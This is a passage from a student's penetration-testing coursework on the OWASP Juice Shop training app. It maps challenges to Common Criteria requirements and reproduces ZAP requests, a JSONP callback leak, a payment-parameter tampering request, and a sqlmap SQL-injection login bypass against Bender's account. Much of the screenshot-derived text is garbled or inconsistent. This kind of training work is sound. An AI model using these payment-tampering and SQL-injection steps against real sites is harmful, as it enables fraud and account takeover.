The screenshot shows a ZAP session titled "Untitled Session - originalcoursework - ZAP 2.14.0". In the "Request" tab, a GET request is made to `http://127.0.0.1:3000/rest/user/whoami?callback=admin`. The "Response" tab displays the JSON response:

```

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Feature-Policy: payment 'self'
X-Recruiting: /#/jobs
Content-Type: text/javascript; charset=utf-8
Content-Length: 167

/**/ typeof admin === 'function' && admin({
  "user": {"id": 22, "email": "asd@asd.com", "lastLoginIp": "0.0.0.0", "profileImage": "/assets/public/images/uploads/default.svg"});
  
```

The "Alerts" tab shows several alerts, including:

ID	Source	Req. Timestamp	Method	URL	Code	Reason	RTT	Size	Resp. Body	Highest Alert	Note	Tags
10...	curl M...	4/24/24, 6:17:22 PM	GET	http://127.0.0.1:3000/rest/user/whoami	200	OK	1...	123 bytes	Medium	JSON		
10...	curl M...	4/24/24, 6:17:52 PM	GET	http://127.0.0.1:3000/rest/user/whoami	200	OK	1...	123 bytes	Medium	JSON		
10...	curl M...	4/24/24, 6:18:31 PM	GET	http://127.0.0.1:3000/rest/user/whoami	200	OK	1...	123 bytes	Medium	JSON		
10...	curl M...	4/24/24, 6:19:13 PM	GET	http://127.0.0.1:3000/rest/user/whoami?ca...	200	OK	1...	167 bytes	Medium	Comment		
10...	curl Pr...	4/24/24, 6:19:13 PM	GET	http://127.0.0.1:3000/rest/continue-code	200	OK	6 ...	79 bytes	Medium	JSON		

c) Explanation of how the evidence included in (b) proves that FDP _ ACC.1.1 is violated:

Upon successfully logging in with `asd@asd.com` and `asd@1`, we found `/rest/user/whoami` using ZAP. We added `?callback=admin` to the API endpoint and transmitted this to the requester tab. This returns the current logged in users information. This strategy successfully addressed the email leak issue by allowing illegal access to user data.

VC: Exposed Metrics

a) Description of penetration testing that was carried out.

1. In this challenge we need to find the end point of that server usage.
2. For this I went to the score-board in there we have the link to git hub code.
3. In the description there is the link for the metrics configuration.
4. In that link find that path is `/metrics` at line number 25.
5. Navigating back to the OWASP Juice Shop in the address bar go to <https://127.0.0.1:3000/metrics>
6. In this link all the log of metrics is listed. Navigating back to the score-board/homepage I get the prompt that challenge is solved.

b) Outcomes/Evidence of the Penetration Testing

The screenshot shows the OWASP Juice Shop Score Board interface. At the top, there are three progress bars: 'Hacking Challenges' at 2%, 'Coding Challenges' at 0%, and 'Challenges Solved' at 2/168. Below these are sections for 'Difficulty', 'Status', and 'Tags'. A search bar contains the text 'expo'. The 'Tags' section lists various security issues: All, XSS, Sensitive Data Exposure, Improper Input Validation, Broken Access Control, Unvalidated Redirects, Vulnerable Components, Broken Authentication, Security through Obscurity, Insecure Deserialization, Miscellaneous, Broken Anti Automation, Injection, Security Misconfiguration, Cryptographic Issues, and XXE. A note states: 'This is the new Score Board! If you notice any bugs or have any feedback, please let us know! Reach out via our community channels.' Another note says: '16 challenges are unavailable on Docker due to security concerns or technical incompatibility!' There is also a message about fruit cookies: 'This website uses fruit cookies to ensure you get the juiciest tracking experience. But me wait!' A 'Me want it!' button is present. At the bottom, there are links for 'History' (887), 'WebSockets' (79), and the URL 'https://github.com/prometheus/prometheus'.

Prometheus GitHub Repository

<https://github.com/prometheus/prometheus>

The Prometheus monitoring system is built on top of a time series database.

Code

- Merge pull request #13974 from prometheus/measure-restore-time-rules
- Rule Manager: Add `rule_group.last_restore_duration_seconds` to measure restore time per rule group
- +27 -12

Issues 754

Pull requests 179

Branches 180 | **Tags** 392

Commits 12,699

Activity

Contributors

Readme

You can use the `go` tool to build and install the `prometheus` and `promtool` binaries into your `GOPATH`:

```
GO111MODULE=on go install github.com/prometheus/prometheus/cmd/...
prometheus --config.file=your_config.yml
```

When using `go install` to build Prometheus, Prometheus will expect to be able to read its web assets from local filesystem directories under `web/ui/static` and `web/ui/templates`. In order for these assets to be served, you will have to run Prometheus from the root of the cloned repository. Note also that these directories do not contain the React UI unless it has been built explicitly using `make assets` or `make build`.

An example of the above configuration file can be found [here](#).

You can also build using `make build`, which will compile the web assets so that Prometheus can be run from anywhere:

```
make build
prometheus --config.file=your_config.yml
```

The Makefile provides several targets:

Node.js

Highlight All Match Case Match Diacritics Whole Words Phrase not found

OWASP Juice Shop x prometheus/documentation x +

https://github.com/prometheus/prometheus/blob/main/documentation/examples/prometheus.yaml

Files

- main
- .circleci
- Out
- Off
- 7
- 0
- 2
- 3
- 4
- Alertmanager
- Documentation
- Examples
- Metrics
- System Metrics
- kubernetes-rabbitmq
- remote_storage
- Makefile

Code Blame 29 lines (24 loc) · 934 Bytes

```

4     evaluation_interval: 15s # Evaluate rules every 15 seconds. The default is every 1 minute.
5     # scrape_timeout is set to the global default (10s).
6
7     # Alertmanager configuration
8     alerting:
9       alertmanagers:
10         - static_configs:
11           - targets:
12             # - alertmanager:9093
13
14     # Load rules once and periodically evaluate them according to the global 'evaluation_interval'.
15     rule_files:
16       - "first_rules.yml"
17       # - "second_rules.yml"
18
19     # A scrape configuration containing exactly one endpoint to scrape.
20     # Here it's Prometheus itself.
21     scrape_configs:
22       # The job name is added as a label 'job=<job_name>' to any timeseries scraped from this config.
23       - job_name: "prometheus"
24
25       # metrics_path defaults to '/metrics'
26       # scheme defaults to 'http'.
27
28       static_configs:
29         - targets: ["localhost:9090"]

```

Sites Start Start Start Off 0 2 4 5 +

History WebSockets

127.0.0.1:3000/metrics x prometheus/documentation x +

https://127.0.0.1:3000/metrics

```

# HELP file_uploads count Total number of successful file uploads grouped by file type.
# TYPE file_uploads count counter
file_uploads_count{file_type="application/pdf",app="juiceshop"} 6

# HELP file_upload_errors Total number of failed file uploads grouped by file type.
# TYPE file_upload_errors counter

# HELP juiceshop_startup_duration_seconds Duration juiceshop required to perform a certain task during startup
# TYPE juiceshop_startup_duration_seconds gauge
juiceshop_startup_duration_seconds{task="cleanupFtpFolder",app="juiceshop"} 0.067676769
juiceshop_startup_duration_seconds{task="validateConfig",app="juiceshop"} 0.057585661
juiceshop_startup_duration_seconds{task="validateFileConfig",app="juiceshop"} 0.133945837
juiceshop_startup_duration_seconds{task="testDownloadItemsWithOriginals",app="juiceshop"} 0.09765405
juiceshop_startup_duration_seconds{task="datacreator",app="juiceshop"} 1.534812125
juiceshop_startup_duration_seconds{task="customizeApplication",app="juiceshop"} 0.09666344
juiceshop_startup_duration_seconds{task="customizeEasterEgg",app="juiceshop"} 0.003192607
juiceshop_startup_duration_seconds{task="ready",app="juiceshop"} 2.41

# HELP process_cpu_user_seconds_total Total user CPU time spent in seconds.
# TYPE process_cpu_user_seconds_total counter
process_cpu_user_seconds_total{app="juiceshop"} 45.969782

# HELP process_cpu_system_seconds_total Total system CPU time spent in seconds.
# TYPE process_cpu_system_seconds_total counter
process_cpu_system_seconds_total{app="juiceshop"} 23.957346

# HELP process_process_cpu_seconds_total Total user and system CPU time spent in seconds.
# TYPE process_process_cpu_seconds_total counter
process_process_cpu_seconds_total{app="juiceshop"} 69.9271208

# HELP process_start_time_seconds Start time of the process since unix epoch in seconds.
# TYPE process_start_time_seconds gauge
process_start_time_seconds{app="juiceshop"} 1713909877


# HELP process_resident_memory_bytes Resident memory size in bytes.
# TYPE process_resident_memory_bytes gauge
process_resident_memory_bytes{app="juiceshop"} 104849408

# HELP process_virtual_memory_bytes Virtual memory size in bytes.
# TYPE process_virtual_memory_bytes gauge
process_virtual_memory_bytes{app="juiceshop"} 1144664064

# HELP process_heap_bytes Process heap size in bytes.
# TYPE process_heap_bytes gauge
process_heap_bytes{app="juiceshop"} 189353984

# HELP process_open_fds Number of open file descriptors.
# TYPE process_open_fds gauge
process_open_fds{app="juiceshop"} 31

```



c) Explanation of how the evidence included in (b) proves that FDP_ACC.1.1 is violated:

Our goal in doing this penetration test was to locate the server usage endpoint. After looking through the scores, we found a link to the GitHub code. We located the path /metrics at line 25 in the description of the metrics settings. To view a list of all metric logs, we returned to the OWASP Juice Shop and went to <https://127.0.0.1:3000/metrics>. We were notified that the challenge was finished when we went back to the scoreboard. This test highlighted

the need for improved SFR to protect internal data by showcasing our proficiency navigating the TOE and revealing critical information.

9) SFR Identifier:

FAU_SAA.3.3 The TOE shall be able to indicate a potential violation of the enforcement of the SFRs when a system event is found to match a signature event that indicates a potential violation of the enforcement of the SFRs.

Related Vulnerabilities:

1. Deluxe fraud
2. Login Bender
3. CSFR
4. Forged Feedback
5. Forged Review
6. Manipulate Basket
7. Forged Coupon
8. Admin Registration
9. Repetitive Registration
10. Login Admin
11. Login Bender

Tested Vulnerability Challenges: -

1. Deluxe fraud: Obtain a Deluxe Membership without paying for it.

(a) Description of penetration testing:


1. Navigate to Deluxe Membership by clicking on the top-left corner option button.
2. Initially the **Pay:49.00** button is disabled.
3. Right click and go to inspect hover the pay button to find the html and enable it.



<button ngcontent-amb-clol type= submit color= primary

mat-raised-button class="mat-focus-indicator btn mat-raised-button mat-button-base mat-primary mat-button-disabled" style="float: right;" disabled="true">>

4. Remove to disabled field to make the Pay button visible.
5. Now, click on pay button.
6. A 400 Bad request will be received in Zap history with {"paymentMode": "wallet"} json object.
7. And a response message with {"status": "error", "error": "insufficient funds in wallet"} json object.
8. Copy/send POST “ **http://127.0.0.1:3000/rest/delux-membership** ” request to requester and edit the payment method as “paid”.
9. Click on send.
10. A 200 Ok success response is received with **“Congratulations!! You are now a deluxe member”**.

(b) Outcomes (evidence) of the penetration testing in (a):





The screenshot shows a Firefox browser window with the OWASP Juice Shop payment page loaded at <https://127.0.0.1:3000/#/payment/deluxe>. The page displays a "My Payment Options" section with various payment methods like "Add new card", "Pay using wallet", and "Add a coupon". A JavaScript alert is triggered via an XSS payload in the URL bar: `rc="javascript:alert('xss')";`. The browser's developer tools (F12) are open, specifically the Elements tab, showing the DOM structure of the payment options. The highlighted element is a button with the class `mat-focus-indicator btn mat-raised-button mat-primary`, which corresponds to the "Pay 49.00" button.

```
<div class="custom-card ng-star-inserted" _ngcontent-wgy-c101="">
  <div _ngcontent-wgy-c101="" fxlayout="row" style="flex-direction: row; box-sizing: border-box; display: flex;">
    <div _ngcontent-wgy-c101="" fxFlex="42%" style="flex: 1 1 100%; box-sizing: border-box; max-width: 42%;"></div>
    <div _ngcontent-wgy-c101="" fxFlex="38%" style="flex: 1 1 100%; box-sizing: border-box; max-width: 38%;"></div>
    <div _ngcontent-wgy-c101="" fxFlex="20%" style="flex: 1 1 100%; box-sizing: border-box; max-width: 20%;">
      <button class="mat-focus-indicator btn mat-raised-button mat-primary" _ngcontent-wgy-c101="" type="submit" color="primary" mat-raised-button="style="float: right;"> event</button>
    </div>
  </div>
</div.ng-star-inserted> <mat-card.mat-card.mat-focus-indicator.mat-raised-button="style="float: right;"> event</mat-card>
```

Screenshot of ZAP 2.14.0 showing a failed payment attempt.

Request:

```
POST http://127.0.0.1:3000/rest/deluxe-membership HTTP/1.1
Host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Referer: https://127.0.0.1:3000/
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9
eyJzdGF0dXMlOiJzdWNjZXNzIiwizGF0YSI6eyJpZCI6MjMsInVzZXJuYW
{"paymentMode": "wallet"}
```

Response:

```
HTTP/1.1 400 Bad Request
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Feature-Policy: payment 'self'
X-Recruiting: /#/jobs
Content-Type: application/json; charset=utf-8
Content-Length: 56
ETag: W/"38-kFKcP4/n0yacDr3IdRwNA0QywLg"
{"status": "error", "error": "Insufficient funds in Wallet"}
```

History:

ID	Source	Req. Timestamp	Method	URL	Code	Reason	RTT	Size	Resp. Body	Highest Alert	Note	Tags
11...	Pr...	4/25/24, 12:08:47...	GET	http://127.0.0.1:3000/socket.io/?EIO=4&tr...	200	OK	/...	1 bytes		Medium		
11...	Pr...	4/25/24, 12:08:47...	GET	http://127.0.0.1:3000/socket.io/?EIO=4&tr...	200	OK	8...	1 bytes		Informational		
11...	Pr...	4/25/24, 12:16:40...	POST	http://127.0.0.1:3000/rest/deluxe-member...	400	Bad Req...	2...	56 bytes		Medium	JSON	
11...	M...	4/25/24, 12:19:43...	POST	http://127.0.0.1:3000/rest/deluxe-member...	400	Bad Req...	3...	56 bytes		Medium	JSON	

Alerts: 2 10 15 12 Main Proxy: 127.0.0.1:8081 Current Scans: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0

Screenshot of ZAP 2.14.0 showing a successful payment attempt.

Request:

```
POST http://127.0.0.1:3000/rest/deluxe-membership HTTP/1.1
Host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Referer: https://127.0.0.1:3000/
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9
eyJzdGF0dXMlOiJzdWNjZXNzIiwizGF0YSI6eyJpZCI6MjMsInVzZXJuYW
{"paymentMode": "paid"}
```


Response:

```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Feature-Policy: payment 'self'
X-Recruiting: /#/jobs
Content-Type: application/json; charset=utf-8
Content-Length: 908
ETag: W/"38c-krNL00E0Z+RxS+8MPXR0yFdnZ2E"
{"status": "success", "data": {"confirmation": "Congratulations! You are now a deluxe member!", "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMlOiJzdWNjZXNzIiwizGF0YSI6eyJpZCI6MjMsInVzZXJuYW1lIjoiZW1hawWl0Ihc2RmQGFzZGVuY29tIiwiGFzc3vcmQ10iIiOGIwZmYzMzliNzQ3YmYxZWQMjI0NWl1NDM5ZGViYSIsInJvbGUiOjKZwx1eGU1LCJkZWRoGVub2tlbiI6IjU0NDR1MmJ1ZTYwMnVKym"}}
```

History:

ID	Source	Req. Timestamp	Method	URL	Code	Reason	RTT	Size	Resp. Body	Highest Alert	Note	Tags
11...	M...	4/25/24, 12:20:59...	POST	http://127.0.0.1:3000/rest/deluxe-member...	200	OK	3...	908 bytes		Medium	JSON	
11...	Pr...	4/25/24, 12:20:59...	GET	http://127.0.0.1:3000/rest/continue-code	200	OK	7 ...	79 bytes		Medium	JSON	
11...	Pr...	4/25/24, 12:20:59...	GET	http://127.0.0.1:3000/103.js	304	Not Mod...	2 ...	0 bytes		Informational		
11...	Pr...	4/25/24, 12:20:59...	GET	http://127.0.0.1:3000/rest/continue-code	304	Not Mod...	8 ...	0 bytes		Medium		

Alerts: 2 10 15 12 Main Proxy: 127.0.0.1:8081 Current Scans: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0



(c) Explanation of how the evidence included in (b) proves that FIA_UAU.1.2 is violated:

We focused on the Deluxe Membership feature in the Target of Evaluation (TOE) for our penetration test. The "Pay:49.00" button was initially inactive, but after looking at the HTML, we were able to make it active. The "400 Bad Request" response with the "paymentMode: wallet" JSON object, which denotes insufficient funds, was displayed when the "Pay" button was clicked. With a POST request to /rest/delux-membership, we changed the payment method to "paid" and got a "200 OK" result, which allowed us to have deluxe membership without having to pay for it. Unauthorized access was made possible by this exploitation, which revealed a Security Functional Requirement (SFR) vulnerability.


VC: Login Bender


(a) Description of penetration testing:

- There are couple of ways to solve this one of the way is listed below
- Login as admin taking reference from admin section or in homepage find review written by bender.
- Try to login as bender, this would give the api in ZAP which would have the information of the user.
- Now in terminal go to the folder of the codebase, (now use gedit to open file here) and gedit loginbender.txt.
- From ZAP copy from the Requester tab of the rest/user/login and paste in txt file. Now edit email: [bender@juice-sh.op*](mailto:bender@juice-sh.op) or end it with '-- this would help since most of the site doesn't handle the special character -- comments out the rest of the fields.
- Now run this using sudo sqlmap -r loginbender.txt. answer the question my order was Y, Y and N. If an error persists use sudo sqlmap -r loginbender.txt -- ignore-code=401.
- This would give 200 response and solve our login bender challenge.


- h) Now use email: bender@juice.sh-op password: Bender@1, and we will be able to login successfully.

(b) Outcomes (evidence) of the penetration testing in (a):





ID	Source	Req. Timestamp	Method	URL	Code	Reason	RTT	Size	Resp.	Body	Honest Alert	Note	Tags
12,...	Pr...	4/25/24, 1:35:12 PM	GET	http://127.0.0.1:3000/rest/admin/application-configuration	304	Not Mod...	8...	0 bytes					
12,...	Pr...	4/25/24, 1:35:12 PM	GET	http://127.0.0.1:3000/rest/languages	304	Not Mod...	1...	0 bytes					
12,...	Pr...	4/25/24, 1:35:12 PM	GET	http://127.0.0.1:3000/rest/admin/applications	304	Not Mod...	4...	0 bytes					
12,...	Pr...	4/25/24, 1:35:12 PM	GET	http://127.0.0.1:3000/api/Challenges/?name=	304	Not Mod...	3...	0 bytes					
12,...	Pr...	4/25/24, 1:35:12 PM	GET	http://127.0.0.1:3000/api/Challenges/?name=	200	OK	3...	647 bytes					
12,...	Pr...	4/25/24, 1:35:13 PM	GET	http://127.0.0.1:3000/socket.io/?EIO=4&tr...	200	OK	1...	32 bytes					
12,...	Pr...	4/25/24, 1:35:13 PM	POST	http://127.0.0.1:3000/socket.io/?EIO=4&tr...	200	OK	1...	2 bytes					
12	Pr...	4/25/24, 1:35:13 PM	GET	http://127.0.0.1:3000/socket.io/?EIO=4&tr...	101	Switchin	1	0 bytes					



The screenshot shows a terminal window with the following content:

```
loginbender.txt
/home/kali/Downloads/juice-shop_16.0.0
1 POST http://127.0.0.1:3000/rest/user/login HTTP/1.1
2 host: 127.0.0.1:3000
3 User-Agent: Mozilla/5.0 (X11; Linux arch64; rv:109.0) Gecko/20100101 Firefox/115.0
4 Accept: application/json, text/plain, */*
5 Accept-Language: en-US,en;q=0.5
6 Referer: https://127.0.0.1:3000/
7 X-User-Email: jim@juice-sh.op
8 Content-Type: application/json
9 Content-Length: 50
10 Origin: https://127.0.0.1:3000
11 Connection: keep-alive
12 Cookie: language=en; welcomebanner_status=dismiss; continueCode=Na8VWzOEPbe6vYmZGnKuXHYI7spfnt3vIRlS16hmbi5N0wLBx17rQn2kDKqR; cookieconsent_status=dismiss
13 Sec-Fetch-Dest: empty
14 Sec-Fetch-Mode: cors
15 Sec-Fetch-Site: same-origin
16
17 {"email":"bender@juice-sh.op","password":"Bender@123"}
```

The screenshot shows the ZAP interface with the following details:

- Header: Text** tab is selected.
- Content-Type:** application/x-www-form-urlencoded
- Origin:** https://127.0.0.1:3000
- Connection:** keep-alive
- Cookie:** language=en; status=dissmiss; continueCode=Na8VWz0Pbe6Yv; cookieconsent_status=dissmiss
- Sec-Fetch-Dest:** script
- Sec-Fetch-Mode:** no-store
- Sec-Fetch-Site:** same-origin
- ("email": "bender")**
- (gedit@493933): tepl-WARNING **:** 13:40:17.840: Style scheme 'Kali-Dark' cannot be found, falling back to 'Kali-Dark' default style scheme.
- (gedit@493933): tepl-WARNING **:** 13:40:17.840: Default style scheme 'Kali-Dark' cannot be found, check your installation.
- (root@kali)-[~/home/kali/Downloads/juice-shop_16.0.0]**
- # gedit loginbender.txt**
- (root@kali)-[~/home/kali/Downloads/juice-shop_16.0.0]**
- # sudo sqlmap -r loginbender.txt**
- SQLMap v1.8.4#stable**
- https://sqlmap.org**

History table (partial data):

ID	Source	Req. Timestamp	Method	URL	Code	Reason	RTT	Size	Resp. Body	Highest Alert	Note	Tags
12...	Pr...	4/25/24, 1:37:30 PM GET		http://127.0.0.1:3000/test/admin/review...	304	Not Mod...	1...	0 bytes		Info		
12...	Pr...	4/25/24, 1:37:36 PM GET		http://127.0.0.1:3000/test/admin/applicatio...	304	Not Mod...	4...	0 bytes		Medium		
12...	Pr...	4/25/24, 1:37:36 PM GET		http://127.0.0.1:3000/test/admin/applicatio...	304	Not Mod...	4...	0 bytes		Medium		
12...	Pr...	4/25/24, 1:37:59 PM GET		http://127.0.0.1:3000/test/user/whoami	200	OK	2...	11 bytes		Medium		JSON
12...	Pr...	4/25/24, 1:37:59 PM GET		http://127.0.0.1:3000/test/user/login	401	Unautho...	26	bytes		Info		
12...	Pr...	4/25/24, 1:38:03 PM POST		https://region1.google-analytics.com/g/colle...	204	No Cont...	6...	0 bytes		Medium		

Alerts: 2 / 11 / 15 / 13 Main Proxy: 127.0.0.1:8081

Current Scans: 0 / 0 / 0 / 0 / 0 / 0 / 0 / 0 / 0 / 0

Sites + Quick Start Request Response Requester +

Header: Text

```
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Origin: https://sqlmap.org
Connection: keep-alive
Cookie: language=en; _lav...; session=1_1_1
https://sqlmap.org?trueCode=
```

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 13:42:41 /2024-04-25/

{"email":"bend...@sqlmap.org"}
[*] ending @ 13:42:56 /2024-04-25/

ID	Source	Req. Timestamp	Method	URL	Code	Reason	RTT	Size	Resp.	Body	Highest Alert	Note	Tags
12,...	Pr...	4/25/24, 1:37:36 PM	GET	http://127.0.0.1:3000/rest/products/6/review...	200	OK	1...	170	bytes		Medium		
12,...	Pr...	4/25/24, 1:37:36 PM	GET	http://127.0.0.1:3000/rest/admin/categories/...	304	Not Modifi...	1...	0	bytes		Medium		
12,...	Pr...	4/25/24, 1:37:54 PM	GET	http://127.0.0.1:3000/rest/admin/application...	304	Not Modifi...	4...	0	bytes		Medium		
12,...	Pr...	4/25/24, 1:37:59 PM	GET	http://127.0.0.1:3000/rest/user/whoami	304	Not Modifi...	4...	0	bytes		Medium		
12,...	Pr...	4/25/24, 1:37:59 PM	GET	http://127.0.0.1:3000/rest/user/whoami	200	OK	2...	11	bytes		Medium	JSON	
12,...	Pr...	4/25/24, 1:37:59 PM	POST	http://127.0.0.1:3000/rest/user/login	401	Unautho...	2...	26	bytes		Medium		
12,...	Pr...	4/25/24, 1:38:03 PM	POST	https://region1.google-analytics.com/g/colle...	204	No Cont...	6...	0	bytes		Medium		

Alerts 2 11 15 13 Main Proxy: 127.0.0.1:8081 Current Scans 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0

Sites + Quick Start Request Response Requester +

Header: Text

```
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Origin: https://sqlmap.org
Connection: keep-alive
Cookie: language=en; _lav...; session=1_1_1
https://sqlmap.org?trueCode=
```

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 13:42:41 /2024-04-25/


{"email":"bend...@sqlmap.org"}
[*] ending @ 13:42:56 /2024-04-25/

ID	Source	Req. Timestamp	Method	URL	Code	Reason	RTT	Size	Resp.	Body	Highest Alert	Note	Tags
12,...	Pr...	4/25/24, 1:37:36 PM	GET	http://127.0.0.1:3000/rest/products/6/review...	200	OK	1...	170	bytes		Medium		
12,...	Pr...	4/25/24, 1:37:36 PM	GET	http://127.0.0.1:3000/rest/admin/categories/...	304	Not Modifi...	1...	0	bytes		Medium		
12,...	Pr...	4/25/24, 1:37:54 PM	GET	http://127.0.0.1:3000/rest/admin/application...	304	Not Modifi...	4...	0	bytes		Medium		
12,...	Pr...	4/25/24, 1:37:59 PM	GET	http://127.0.0.1:3000/rest/user/whoami	304	Not Modifi...	4...	0	bytes		Medium		
12,...	Pr...	4/25/24, 1:37:59 PM	GET	http://127.0.0.1:3000/rest/user/whoami	200	OK	2...	11	bytes		Medium	JSON	
12,...	Pr...	4/25/24, 1:37:59 PM	POST	http://127.0.0.1:3000/rest/user/login	401	Unautho...	2...	26	bytes		Medium		
12,...	Pr...	4/25/24, 1:38:03 PM	POST	https://region1.google-analytics.com/g/colle...	204	No Cont...	6...	0	bytes		Medium		

Alerts 2 11 15 13 Main Proxy: 127.0.0.1:8081 Current Scans 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0

```
[root@kali: /home/kali/Downloads/juice-shop_16.0.0
File Actions Edit View Help
nt)' [13:46:40] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE
[comment)' [13:46:40] [INFO] testing 'MySQL > 5.0.12 AND time-based blind (query SLEEP
[13:46:40] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[13:46:40] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[13:46:40] [INFO] testing 'Oracle AND time-based blind'
it is recommended to perform only basic UNION tests if there is not at least
one other (potential) technique found. Do you want to reduce the number of re
quests? [Y/n] n
[13:46:41] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[13:46:42] [WARNING] (custom) POST parameter 'JSON #1*' does not seem to be i
njectable
[13:46:42] [CRITICAL] all tested parameters do not appear to be injectable. T
ry to increase values for '-level'/'--risk' options if you wish to perform m
ore tests. If you suspect that there is some kind of protection mechanism inv
olved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper
=space2comment') and/or switch '--random-agent'
[13:46:42] [WARNING] HTTP error codes detected during run:
401 (Unauthorized) - 73 times, 500 (Internal Server Error) - 51 times
[*] ending @ 13:46:42 /2024-04-25/
```

You successfully solved a challenge: Login Bender (Log in with Bender's user account.)



Screenshot of ZAP 2.14.0 showing an intercept proxy session and a browser view of the OWASP Juice Shop login page.

ZAP Session (Top Window):

- Request:**


```
POST http://127.0.0.1:3000/rest/user/login HTTP/1.1
host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Referer: https://127.0.0.1:3000/
X-User-Email: jim@juice-sh.op
Content-Type: application/json
{"email": "bender@juice-sh.op", "password": "Bender@123"}
```
- Response:**

```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Feature-Policy: payment 'self'
X-Recursion: /#/!obs
{"authentication": {"token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXM1oiJzdwWljZXNzIiwiZGF0YSI6eyJpZCIGMywidXNcm5hbWUiOjIiLCJlbWFpbCI6ImJibmRtcKBgdljZS1zaC5vcCIsInBhc3N3b3JkIjoiMGM2NmU1MtdlJ2Zh0TVHhWjmMwJ2mzJNjc0NGE0ZWYlCJyb2xIjoiY3VzdG9tZXtiLCJkZWx1eGVub2tlbiI6IlIsImxhc3RMb2dpbk1wljoiIiwiChJvZmlsZiUtljYwdlIjoiYXNzZXRL3BlYmxpY9pbWFnZXMdVBsb2Fkcy9KZwZhdwx0LnhN2ZyIsInRvdHTBZwNyZXQ10iI1LCjpc0FjdG12ZSI6dHJ1ZSw1Y3JLYXRUEF0ijoIMjAYNC0wNC0yMyAyMjowD0z0S4wMjcgkZAw0}AwliwidxBKYXRLZEf0ij}}
```
- Table (Bottom):**

ID	Source	Req. Timestamp	Method	URL	Code	Reason	RTT	Size	Resp. Body	Highest Alert	Note	Tags
12,...	Pr...	4/25/24, 1:43:42 PM	GET	http://127.0.0.1:3000/rest/continue-code	200	OK	3 ...	0 bytes		Medium		JSON
12,...	Pr...	4/25/24, 1:43:42 PM	GET	http://127.0.0.1:3000/rest/continue-code	304	Not Mod...	1 ...	0 bytes		Medium		
12,...	Pr...	4/25/24, 1:43:42 PM	GET	http://127.0.0.1:3000/103.js	200	OK	3 ...	11,098 bytes		Information...		
12,...	M...	4/25/24, 1:47:16 PM	POST	http://127.0.0.1:3000/rest/user/login	401	Unautho...	1 ...	26 bytes		Medium		
12,...	M...	4/25/24, 1:47:23 PM	POST	http://127.0.0.1:3000/rest/user/login	200	OK	1 ...	799 bytes		Medium		JSON

OWASP Juice Shop Login Page (Bottom Window):

The screenshot shows the OWASP Juice Shop login interface. The URL is <https://127.0.0.1:3000/#/login>. The form fields are filled with "bender@juice-sh.op" for Email and "Bender@123" for Password. The "Log in" button is visible, and the "Remember me" checkbox is checked. Below the form, there's a "Forgot your password?" link and a "Log in with Google" button. A sidebar on the left shows various attack types and their counts: Out (0), off (0), 0 (0), 1 (2), 2 (1), 3 (0), 4 (0), 5 (0), and 6 (0). A sidebar on the right shows buttons for Sites, Start, and OffSec.



(c) Explanation of how the evidence included in (b) proves that FIA_UAU.1.2 is violated:

We tried a number of techniques to evaluate the "Login Bender" feature. After logging in as administrators, we first discovered a review that Bender had written. We were able to obtain the relevant API in ZAP by attempting to log in as Bender. We copied the login API request from ZAP's Requester tab into a text file called `loginbender.txt`, which we made using gedit. We got around the authentication by changing the password to `bender@1` and utilizing SQL injection. We successfully met our testing objective for this security functional requirement (SFR) by running sqlmap on this file.

10) SFR Identifier:

FDP_ACF.1.2: The TOE shall enforce the following rules to determine if an operation among controlled subjects and controlled objects is allowed:

1. no user other than the user who created data stored within the system can delete or modify them.
2. no user can create data associated with another user.

Related Vulnerability Challenges: -

1. Product Tampering
2. Forged Feedback
3. Repetitive Registration

4. Forged Feedback
5. Forged Review
6. Manipulate Basket

Tested Vulnerability Challenges: -

1. Product Tampering: Change the href of the link within the OWASP SSL Advanced Forensic Tool (O-Saft) product description into <https://owasp.slack.com>.

a) Description of penetration testing that was carried out.

1. Logged in using email Id = apoorva@juice.com, password = apoorva@123.
2. In search bar, search for o-saft, we will get the OWASP SSL Advanced Forensic Tool (O-Saft).
3. In Zap history, a GET <http://127.0.0.1:3000/rest/products/search?q=> with 200 OK response can be seen.
4. Copy-paste request header in the requester and make some few changes.
5. After inspecting the juice shop web page sources->main.js.
6. We could see a /api/products put request.
